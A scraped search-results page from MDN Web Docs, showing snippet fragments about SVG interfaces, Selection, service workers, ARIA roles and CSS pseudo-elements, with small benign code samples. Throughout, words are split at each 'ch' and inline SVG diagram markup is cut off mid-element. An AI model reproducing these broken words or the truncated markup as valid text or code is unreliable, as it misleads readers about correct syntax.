chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemorphologyelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mid...
...And 2 more matches
SVGGElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGGeometryElement - Web APIs
the svggeometryelement interface represents svg elements whose rendering is defined by geometry with an equivalent path, and whi
ch can be filled and stroked.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 2 more matches
SVGLengthList - Web APIs
an svglengthlist object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...any
changes made to the item are immediately reflected in the list.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGLinearGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGNumberList - Web APIs
an svgnumberlist object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...any
changes made to the item are immediately reflected in the list.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGPolygonElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGPolylineElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGRadialGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGRect - Web APIs
rectangles consist of an x and y coordinate pair identifying a minimum x value, a minimum y value, and a width and height, whi
ch are constrained to be non-negative.
... an svgrect object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of this coordinate depends on ea
ch element.
...And 2 more matches
SVGSetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGTextElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 2 more matches
ScriptProcessorNode.bufferSize - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to ea
ch audio sample of the input track (buffer) and play it through the audiodestinationnode.
... for ea
ch channel and ea
ch sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through ea
ch channel of the input buffer, and ea
ch sample in ea
ch channel, and add a small amount of white noise, before setting that result to be the output sample in ea
ch case.
...or-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output
channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audi...
...And 2 more matches
Selection.removeAllRanges() - Web APIs
the selection.removeallranges() method removes all ranges from the selection, leaving the an
chornode and focusnode properties equal to null and leaving nothing selected.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoveallranges experimental
chrome full support yesedge full support 12firefox full support yesie full support yesopera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support ...
...And 2 more matches
Selection.removeRange() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange experimental
chrome full support 58edge full support 12firefox full support yesie ?
... opera full support 45safari no support nowebview android full support 58
chrome android full support 58firefox android full support yesopera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support ...
...And 2 more matches
Selection.toString() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimental
chrome full support 1edge full support ≤18firefox full support yesie ?
... webview android full support yes
chrome android full support yesfirefox android full support yesopera android full support yessafari ios ?
...And 2 more matches
ServiceWorker - Web APIs
pages, workers, etc.) can be associated with the same service worker, ea
ch through a unique serviceworker object.
... a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property — this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispat
ched a set of lifecycle events — install and activate — and functional events including fet
ch.
... event handlers serviceworker.onstate
change read only an eventlistener property called whenever an event of type state
change is fired; it is basically fired anytime the serviceworker.state
changes.
...And 2 more matches
ServiceWorkerContainer.register() - Web APIs
if successful, a service worker registration ties the provided script url to a scope, whi
ch is subsequently used for navigation mat
ching.
...i.e., you don't need to first
check whether there's an active registration.
... navigator.serviceworker.register('/sw.js').then(function(registration) { console.log('service worker registration succeeded:', registration); }, /*cat
ch*/ function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } the following code, if included in example.com/index.html, at the root of a site, would apply to exactly the same pages as the example above.
...And 2 more matches
ServiceWorkerRegistration.navigationPreload - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimental
chrome full support 59edge full support 17 full support 17 full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie ...
... no support noopera full support 46safari full support 11.1webview android full support 59
chrome android full support 59firefox android full support 44opera android full support 43safari ios full support 11.3samsung internet android full support 4.0legend full support full support no support ...
...And 2 more matches
SharedWorker - Web APIs
the sharedworker interface represents a specific kind of worker that can be accessed from several browsing contexts, su
ch as several windows, iframes or even workers.
... example in our basic shared worker example (run shared worker), we have two html pages, ea
ch of whi
ch uses some javascript to perform a simple calculation.
...if the onmessage event is atta
ched using addeventlistener, the port is manually started using its start() method: myworker.port.start(); when the port is started, both scripts post messages to the worker and handle messages sent from it using port.postmessage() and port.onmessage, respectively: first.on
change = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } ...
...And 2 more matches
SourceBuffer.mode - Web APIs
the two available values are: segments: the media segment timestamps determine the order in whi
ch the segments are played.
... sequence: the order in whi
ch the segments are appended to the sourcebuffer determines the order in whi
ch they are played.
...you can, however,
change the value from segments to sequence.
...And 2 more matches
StaticRange.StaticRange() - Web APIs
the four required rangespec properties are: startcontainer the node in whi
ch the starting point of the range is located.
... startoffset the offset into the starting node at whi
ch the first
character of the range is found.
... endcontainer the node in whi
ch the end point of the range is located.
...And 2 more matches
StorageManager.estimate() - Web APIs
the estimate() method of the storagemanager interface asks the storage manager for how mu
ch storage the current origin takes up (usage), and how mu
ch space is available (quota).
... this method operates asyn
chronously, so it returns a promise whi
ch resolves once the information is available.
... return value a promise that resolves to an object whi
ch conforms to the storageestimate dictionary.
...And 2 more matches
ARIA: Region role - Accessibility
a region role is a more generic term, and should only be used if the section needing to be identified is not accurately described by one of the other landmark roles, su
ch as banner, main, contentinfo, complementary, or navigation.
... labeling landmarks if there is more than one region landmark role in a document, provide a label for ea
ch one.
... this label will allow an assitive te
chnology user to be able to quickly understand the purpose of ea
ch landmark.
...And 2 more matches
ARIA: Suggestion role - Accessibility
the suggestion landmark role semantically denotes a single proposed
change to an editable document.
... examples when you’ve got a content
change that involves an insertion and a deletion, there is no way for a screenreader user to work out if the two are related or not.
... this is the job of role="suggestion", whi
ch should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
...And 2 more matches
HTML To MSAA - Accessibility
ap html element role name value states relations actions events notes a role_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line
char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from
child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from
child legend ...
...by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has
children for ea
ch map item input @type=button, submit, reset role_system_ pushbutton from @value attribute, @alt attribute, default label, @src attribute, @data attribute n/a state_system_ default if @type attribute has value "submit" n/a "press" n/a input @type=text, textarea role_system_ text n/a value property of input dom element state_system_ readonly if @readonly attribute is used n/a "...
...activate" n/a input @type=password role_system_ text n/a n/a state_system_ readonly if @readonly attribute is used state_system_ protected n/a "activate" n/a input type="
checkbox" role_system_
checkbutton n/a n/a state_system_ marqueed used as state
checkable state_system_ mixed for html 5 if intermediate property of dom element returns true state_system_
checked if
checked property of dom element returns true n/a "
check"/"un
check"/"cycle" depending on state event_object_ state
change when state is
changed input type="radio" role_system_ radiobutton n/a n/a state_system_ marqueed used as state
checkable state_system_
checked if
checked property of dom element returns true n/a "select" event_object_ state
change when state is
changed label role_system_ statictext from
chil...
...And 2 more matches
-moz-image-rect - CSS: Cascading Style Sheets
syntax -moz-image-rect(<uri>, top, right, bottom, left); values <url> the uri of the image from whi
ch to take the sub-image.
... this works very similarly to the -moz-image-region property, whi
ch is used with the list-style-image property to use parts of an image as the bullets in lists.
...these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispat
ch them to our javascript code.
...And 2 more matches
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
the -webkit-overflow-scrolling css property controls whether or not tou
ch devices use momentum-based scrolling for a given element.
... syntax values auto use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger from the tou
chscreen.
... tou
ch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger from the tou
chscreen.
...And 2 more matches
::after (:after) - CSS: Cascading Style Sheets
in css, ::after creates a pseudo-element that is the last
child of the selected element.
... /* add an arrow after links */ a::after { content: "→"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements su
ch as <img>, or to <br> elements.
... we can also support keyboard users with this te
chnique, by adding a tabindex of 0 to make ea
ch span keyboard focusable, and using a css :focus selector.
...And 2 more matches
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the viewport whi
ch is rendered immediately beneath any element being presented in full-screen mode.
... this includes both elements whi
ch have been placed in full-screen mode using the fullscreen api and <dialog> elements.
... when multiple elements have been placed into full-screen mode, the backdrop is drawn immediately beneath the frontmost su
ch element, and on top of the older full-screen elements.
...And 2 more matches
::selection - CSS: Cascading Style Sheets
the ::selection css pseudo-element applies styles to the part of a document that has been highlighted by the user (su
